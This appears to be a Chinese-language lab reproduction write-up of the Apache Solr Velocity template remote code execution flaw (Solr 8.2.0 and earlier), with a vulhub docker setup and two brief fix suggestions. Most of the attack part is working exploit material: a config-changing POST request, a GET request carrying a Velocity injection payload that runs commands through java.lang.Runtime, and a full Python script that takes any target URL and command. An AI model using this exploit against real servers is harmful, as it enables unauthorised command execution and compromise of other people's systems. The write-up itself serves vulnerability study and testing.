0x01 概述
Solr简介
Apache Solr 是一个开源的企业级搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Apache Solr 中存储的资源是以 Document 为对象进行存储的。它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
漏洞概述
Apache Solr基于Velocity模板存在远程命令执行漏洞。该漏洞是由于Velocity模板存在注入所致。Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。当攻击者可以直接访问Solr控制台时,可以通过发送类似: solr/节点名/config的POST请求对该节点的配置文件做更改,把params.resource.loader.enabled设置为true(可加载指定资源),再构造GET请求,即可在服务器执行命令。
影响范围
Apache Solr <=8.2.0
0x02 复现过程
环境搭建
(由于vulhub未更新对应漏洞环境,故使用vulhub中的CVE-2019-0193搭建环境)
启动环境
cd /vulhub/solr/CVE-2019-0193
docker-compose up -d
创建Core
docker-compose exec solr bash bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db
搭建成功
访问http://ip:8983
漏洞复现
手工验证
(1)修改Core的配置,设置"params.resource.loader.enabled" 的值为true
POST /solr/test_0nth3way/config HTTP/1.1 Host: 192.168.17.136:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
(2)远程执行代码
GET /solr/test_0nth3way/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: 192.168.17.136:8983
Python脚本验证
附EXP:
import requests import json import sys # usage: python Apache_Solr_via_Velocity_template_RCE.py http://192.168.17.136:8983 whoami # Apache Solr RCE via Velocity template # Upconfig: http://192.168.1.26:8983/solr/0nth3way/config # ExecCmd: 0 solr def getname(url): url += "/solr/admin/cores?wt=json&indexInfo=false" conn = requests.request("GET", url=url) name = "test" try: name = list(json.loads(conn.text)["status"])[0] except: pass return name def upconfig(url, name): url += "/solr/"+name+"/config" print "Upconfig: ", url headers = {"Content-Type": "application/json"} post_data = """ { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } """ conn = requests.request("POST", url, data=post_data, headers=headers) if conn.status_code != 200: print "Upconfig error: ", conn.status_code sys.exit(1) def poc(url,cmd): core_name = getname(url) upconfig(url, core_name) url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" conn = requests.request("GET", url) print "ExecCmd: "+conn.text if __name__ == '__main__': print "Apache Solr RCE via Velocity template" url = sys.argv[1] cmd = sys.argv[2] poc(url,cmd)
0x03 修复建议
(1)建议对Solr做访问限制
(2)升级Solr